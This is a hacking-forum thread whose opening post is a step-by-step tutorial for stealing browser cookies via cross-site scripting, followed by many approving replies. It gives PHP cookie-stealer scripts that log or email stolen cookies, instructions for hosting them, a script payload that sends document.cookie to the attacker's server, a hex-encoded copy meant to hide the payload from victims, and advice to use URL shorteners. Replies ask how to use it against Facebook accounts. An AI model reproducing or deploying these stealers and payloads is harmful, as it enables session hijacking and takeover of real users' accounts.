

Forum:[Hack Forums](#)

Thread: [\[FULL XSS TUT\] How To Steal Cookies // Hacking With XSS \[FULL XSS TUT\]](#)

xSellize - March 17, 2012, 2:51 am

Basic Knowledge about Cookies....

Spoiler [\(Click to View\)](#)

Different Types of Cookies:

Session cookie

A session cookie upto certain hours, depending on website. After the session hour, it will be destroyed.

Persistent Cookie

A persistent cookie will outlast user sessions. If a persistent cookie has its Max-Age set to 1 year, then, within the year, the initial value set in that cookie would be sent back to the server every time the user visited the server. This could be used to record a vital piece of information such as how the user initially came to this website. For this reason, persistent cookies are also called tracking cookies or in-memory cookies.

Secure cookie

Secure cookies are encrypted cookies. If you used HTTPS (secure Connection), then it will store the cookies in encrypted format. Even hackers steal the cookie, he is able to see only the encrypted data.

Example:

Bank websites always use Secure Cookies.

HttpOnly cookie

The HttpOnly cookie is supported by most modern browsers. On a supported browser, an HttpOnly session cookie will be used only when transmitting HTTP (or HTTPS) requests, thus restricting access from other, non-HTTP APIs (such as JavaScript). This restriction mitigates but does not eliminate the threat of session cookie theft via Cross-site scripting.[15]. It is important to realize this feature applies only to session-management cookies, and not other browser cookies.

Third-party cookie

Third-party cookies will store the cookies with another domain.

For Example:

<http://www.example.com> will store the cookies with ad.advertise12.com

At the same time, another website also set cookies with same domain.

<http://www.othersite.com> will store the cookies with ad.advertise12.com

Supercookie

A "supercookie" is a cookie with a public suffix domain, like .com, .co.in, .in.

Most browsers, by default, allow first-party cookies—a cookie with domain to be the same or sub-domain of the requesting host. For example, a user visiting <http://www.example.com> can have a cookie set with domain <http://www.example.com> or .example.com, but not .com. A supercookie with domain .com would be blocked by browsers; otherwise, a malicious website, like attacker.com,

could set a supercookie with domain .com and potentially disrupt or impersonate legitimate user requests to example.com.

Zombie cookie

A zombie cookie is any cookie that is automatically recreated after a user has deleted it. This is accomplished by a script storing the content of the cookie in some other locations, such as the local storage available to Flash content, HTML5 storages and other client side mechanisms, and then recreating the cookie from backup stores when the cookie's absence is detected.

What is the use of Cookies?

Session management

Cookies may be used to maintain data related to the user during navigation, possibly across multiple visits. Cookies were introduced to provide a way to implement a "shopping cart" (or "shopping basket"), a virtual device into which users can store items they want to purchase as they navigate throughout the site.

Personalization

Cookies may be used to remember the information about the user who has visited a website in order to show relevant content in the future. For example a web server may send a cookie containing the username last used to log in to a web site so that it may be filled in for future visits.

Tracking

Tracking cookies may be used to track internet users' web browsing habits. This can also be done in part by using the IP address of the computer requesting the page or the referrer field of the HTTP request header, but cookies allow for greater precision

How to create cookie stealer Coding in PHP

Spoiler ([Click to View](#)) Here is the simple Cookie Stealer code:

Cookie stored in File:

PHP Code

```
<?php
$cookie = $_HTTP_GET_VARS["cookie"];
$steal = fopen("cookiefile.txt", "a");
fwrite($steal, $cookie . "\n");
fclose($steal);
?>
$cookie = $_HTTP_GET_VARS["cookie"]; // This steal the cookie from the current
url(stealer.php?cookie=x) And this store the cookies in $cookie variable.

$steal = fopen("cookiefile.txt", "a"); // This open the cookiefile in append mode so that we can
append the stolen cookie.

fwrite($steal, $cookie . "\n"); //This will store the stolen cookie inside the file.

fclose($steal); // This will close the opened file.
```

Another version: Sends cookies to the hacker mail

PHP Code

```
<?php
$cookie = $_HTTP_GET_VARS["cookie"]; mail("hackerid@mailprovider.com", "Stolen Cookies",
$cookie);
?>
```

The above code will mail the cookies to hacker mail using the PHP() mail function with subject "Stolen cookies".

Third Version

PHP Code

```
<?php
function GetIP()
{
    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
        $ip = getenv("HTTP_CLIENT_IP");
    else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv(
"HTTP_X_FORWARDED_FOR"), "unknown"))
        $ip = getenv("HTTP_X_FORWARDED_FOR");
    else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
        $ip = getenv("REMOTE_ADDR");
    else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp(
$_SERVER['REMOTE_ADDR'], "unknown"))
        $ip = $_SERVER['REMOTE_ADDR'];
```

The above Cookie stealer will store the following information:

Ip address
port number
host(usually computer-name)
user agent
cookie

Cookie Stealing // Hacking

Spoiler ([Click to View](#)) Cookie stealing is the process of exploiting the XSS vulnerability (Non-persistent/persistent) and steal the cookie from the victim who visit the infected link. These cookie will be used to compromise their accounts.

Step 1: Creating Cookie Stealer PHP file

I have explained three versions of cookie stealer. We are going to use the third version.

Copy the code.

Open Notepad and paste the code

Save the file with .php extension

Eg: Stealer.php

Now create New file and save it as log.txt (leave it as blank). Don't change the name , this is the file name what we give in php file.

Now you will have two files;

1. Stealer.php
2. log.txt

What these two files do exactly?

The above Stealer.php file get ip address,cookie and stores the data in log.txt file.

The log.txt has cookies , ip address details.

Step 2:

Register in a free web-hosting service and login into your cpanel.

Now open the File Manager in cpanel.

Upload the Stealer.php and log.txt to root folder or public_html folder.

Now the stealer will be at `http://www.YourSite.com/Stealer.php` .

Step 3:Exploiting the XSS Vulnerability

So Far , we have sharpened our saw. Now we are going to use it.

Once you set up everything and find a Vulnerable site,then inject the following code in the Vulnerable sites.

```
<script>location.href = 'http://www.Yoursite.com/Stealer.php?cookie='+document.cookie;</script>
```

For example:

```
http://www.VulnerableSite.com/index.php?search=<script>location.href =  
'http://www.Yoursite.com/Stealer.php?cookie='+document.cookie;</script>
```

Cookie Stealing with Non-Persistent vs Persistent XSS:

Persistent: if you inject this code in Persistent XSS vulnerable site, it will be there forever until admin find it. It will be shown to all users. So attackers don't need to send any link to others. Whoever visit the page, they will be victim.

Non-Persistent:

In case of Non-persistent attack, attacker will send the link to victims. Whenever they follow the link, it will steal the cookie. Most of sites are vulnerable to Non-persistent XSS .

In Non-persistence, Attackers will send the injected link victims.

For example:

```
http://www.VulnerableSite.com/index.php?search=<script>location.href =  
'http://www.Yoursite.com/Stealer.php?cookie='+document.cookie;</script>
```

The above link is clearly shows the scripts. Hackers can Hex-encode this script so that victim can't see the script.

For Example:

PHP Code

```
<?php
```

xp:

```
//www.VulnerableSite.com/index.php?search=%3c%73%63%72%69%70%74%3e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%20%3d%20%27%68%74%74%70%3a%2f%2f%77%77%77%2e%59%6f%75%72%73%69%74%65%2e%63%6f%6d%2f%53%74%65%61%6c%65%72%2e%70%68%70%3f%63%6f%6f%6b%69%65%3d%27%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b%3c%2f%73%63%72%69%70%74%3e
```

Still , the link look long. The attacker use one more trick to hide the long url i.e url shortening sites. There are lot of sites that shorten the long url into tiny url.

For example:

hxxp://www.tinyexample.com/twrwd63

Once the victim follow the link, his cookie will be stored in log.txt file.

How to Secure from this attack?

Spoiler ([Click to View](#)) Use No-Script Addon. This is best protection to stay away from XSS

Never Click the Shorten url

Sometime you may want to follow the shorten link. If so, then clear all cookies in your browser and visit through Proxy or VPN(it will hide your ip)

INFO

Spoiler ([Click to View](#)) The user has total responsibility for any illegal acts ..

Hope u like my first TuT about XSS....

greenpois0n - March 17, 2012, 4:01 am

THIS IS A AWESO´ME TUT MAN

THX

Boormarked it :D

Poraft - March 17, 2012, 4:03 am

Nice man, bookmarked this. Keep up the good work!

most wanted england - March 17, 2012, 5:37 am

nice guide well detailed and help me tyvm

xSellize - March 17, 2012, 10:10 am

Thx To all

Hope u like it ;)

Spoiler ([Click to View](#))....

-Subwoofer. - March 28, 2012, 7:25 am

this is an amazing tutorial !!!!

thx

Afrox - March 28, 2012, 12:44 pm

amazing guide thank you so much for this, helped me get the idea of xss

would you be interested in making a tut about finding vuln sites and what to do with the cookie after? :)

ntoskrnl.exe - March 28, 2012, 12:57 pm

Awsome tutorial. I always wanted this. Thanks a lot man :D

preetam.kondekar - March 28, 2012, 1:08 pm

this is awsome tut buddy.... I like it.. thanks tone buddy.

Morse Code - March 28, 2012, 3:49 pm

Actual HQ tutorials like this need to stay at the top instead of "PM ME FOR TEH DOWNLOAD LINK ON HOW TO BE THE WORLDS L3333TEST HAX0R". Thanks for the tutorial man, I will be trying it out.

Chainrofl - March 28, 2012, 9:37 pm

Great tutorial, but does anybody have any links to any good free web hosts? I used to use # but I believe that the site no longer supports free domains.

tornet - March 28, 2012, 10:16 pm

thanks a lot this will help me out greatly!!

Roy90 - March 28, 2012, 10:23 pm

Nice tutorial...helped a lot thanx...!!

lovelykiss87 - March 29, 2012, 4:26 am

where is complete tutorial i need thist tutorial

Cold_Blooded - March 29, 2012, 5:05 am

Wow, Thanks for this. I'm learning slowly before I start trying anything out.

xp10 - March 29, 2012, 9:04 am

so nice keep it up brother

keep it up

Morse Code - March 29, 2012, 11:27 am

Also this tutorial will work better for you after reading this thread.

<https://hackforums.net/showthread.php?tid=2070398>

-Subwoofer. - March 30, 2012, 5:15 am

could u explain me sometihing

I will ask u PM^^

very nice tut :D

-MaTaN- - March 30, 2012, 7:37 am

thanks for you share it.. i like it!!

xSellize - April 1, 2012, 4:07 am

@ -Subwoofer PM sended

and thx to all :D

toniohawk2 - April 1, 2012, 5:31 am

I like this tutorial, very interessant...

Thanks to you

badhon_raj - April 1, 2012, 6:10 am

Awesome tutorial bro. :) bookmarked the page. Thank you very much. :d

herrdeutschland - April 2, 2012, 3:26 pm

very good dude ,thanks and i hope that the other users will get the benefits of it

xSellize - April 5, 2012, 6:39 am

thx to all....

if u have a question ask me via pm :D

Ezio42 - April 5, 2012, 12:55 pm

(Mar 28, 2012 09:37 PM)Chainrofl Wrote: [\[CITE\]](#) Great tutorial, but does anybody have any links to any good free web hosts? I used to use spam.com but I believe that the site no longer supports free domains.

SPAM.com, it works pretty good.

OP, great tut!

High Definition - April 6, 2012, 10:36 pm

Not at all even near to "FULL" tutorial of XSS, but whatever explained was done pretty well.

Keep up the good work.

Uiqueblhats - April 15, 2012, 2:02 am

Nice man, bookmarked this. Keep up the good work!

ahmadinejad1 - April 24, 2012, 6:21 pm

A few questions, I am able to locate vulnerable sites with acunetix but how do I tell whether it is persistent or non persistent vulnerable? Also am I correct in assuming that using this method, the stolen data is stored in the log.txt file on my domain?

an???? - April 24, 2012, 8:14 pm

AMAZING!

Thanks alot for this, will surely come in handy!

Emyyy - April 29, 2012, 7:32 am

Already I know Xss but this tut is amazing me , GJ !

holysheetman - May 3, 2012, 8:04 am

well, considering the dates, he copied/pasted this from

"<http://www.breakthesecurity.com/2011/09/how-to-create-cookie-stealer-coding-in.html>"

with that said, thanks for the share nevertheless!

xSellize - June 8, 2012, 8:22 am

mad bro??

this isn't copy paste!

only the codes are copied.

Go and buy yourself a new life

fel0ny - June 8, 2012, 8:59 am

Nice Tut this is very useful for beginners

-Subwoofer. - August 8, 2012, 2:27 am

Very HQ Tutorial....

You can learn here all about XSS!

Thx

Xilios - August 8, 2012, 9:23 am

I tried this, but all it showed was raw PHP code. I used SPAM, did everything the topic said, except I

used the full code, not the incomplete code that's posted. I tried other PHP codes too, but these have the same problems.

KOK HaXor - August 8, 2012, 10:24 pm

thanks mate ! this is what i looking for :D

and S3L3n10uZ, your track is owsume, i love that ! thanks for sharing ;)

Silent Wolf - August 8, 2012, 10:47 pm

Well all i can say that it helped me to remind myself in XSS cause i've been away from the site for a long time.

????? - August 8, 2012, 11:40 pm

?Nice and clean tut man,thanks for this thread :) keep it up

Haseo™ - August 8, 2012, 11:46 pm

Book marked this quite impressive thanks much.

Ncredible - August 9, 2012, 1:47 am

Thank you for the very nice share mate.

(Mar 28, 2012 03:49 PM)Morse Code Wrote: [\[CITE\]](#) Actual HQ tutorials like this need to stay at the top instead of "PM ME FOR TEH DOWNLOAD LINK ON HOW TO BE THE WORLDS L3333TEST HAX0R". Thanks for the tutorial man, I will be trying it out.

Yes man i agree with you

Dantesco - August 9, 2012, 6:21 pm

Interesting Tutorial, thanks mate..

ch3micalburn3d - August 9, 2012, 10:07 pm

nice tutorial thanks for sharing mate

mAz3r - August 9, 2012, 10:33 pm

Hey! nice tutorial man....)

i like it..

but can u tell me that when i try this on facebook then i got only 7 cookie.

but on chrome i found that fb give total of 100 cookies.

then can u tell me that why this method give only 7 cookies.

And one more important thing that this mehod doesn't give important datr cookie which store user login inforamtion

soniya2141985 - October 21, 2012, 5:30 am

not working , i m trying again and again, but all 3 code not working.

samrokzz - October 21, 2012, 9:23 am

Thanks for the cookie stealer . .

Nice tut . .

own4g3_hey - October 21, 2012, 11:47 am

Very nice tut.

I don't get the "Inject" part

Can you explain it to me please?

n3ph1l1m - October 21, 2012, 2:45 pm

that was most informative and really well presented

well done!

those little parts of php code slowly explained were very instructive

blankhack - March 8, 2016, 6:24 pm

Great tutorial man. I appreciate your well-effort.

bit-trader - March 8, 2016, 6:39 pm

great tutorial , hope rest guys make tut like this instead of selling them for penny.

randomhex - March 9, 2016, 9:14 am

Nice tut for beginners, good job

Hopsin - March 9, 2016, 9:37 am

Thanks for your contribution, even if its old, this still may come useful for some people.

selenal - April 9, 2016, 7:24 am

awesome tutorial brooooooooooooo

denielsmith - April 23, 2016, 2:27 am

nice guide well detailed and help me tyvm

mohanedamer - December 14, 2018, 8:28 pm

Thanks for this information , you are a legend !

themet315 - January 4, 2019, 8:43 am

Saved for future use. Thanks

CheckMyNuts - January 9, 2019, 2:20 am

Thanks for this, nice share of knowedgle

SchwererGustav - January 9, 2019, 10:09 am

very good tutorial ,reminded me with the old days , but as i learned this technique ,i learned it the hard way ,it was not explained very good like you did ,so thank you very much for being patient to write and explain everything here

very good tutorial ,reminded me with the old days , but as i learned this technique ,i learned it the hard way ,it was not explained very good like you did ,so thank you very much for being patient to write and explain everything here but i think the 3rd version of cookie stealer is not complete , you need to check it out

blackbox99 - January 9, 2019, 10:30 am

this is awesome, thank for the tutorial

theglobemasters - January 11, 2019, 6:52 am

wow this is a very great tutorial. i really like it.

k1ng0fn0th1ng - January 11, 2019, 9:28 am

Is XSS possible if a user uses last chrome (with sandbox mode for every tab) and incognito mode (which doesn't stored cookies)? If yes, could anybody concisely describe how to perform this XSS?

xrahitelvip - *January 13, 2019, 12:26 am*

aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1NaGxKUEE1MkJTYw==

base64decode.org

ratsandmice - *January 26, 2019, 9:22 am*

Great thanks in advance :)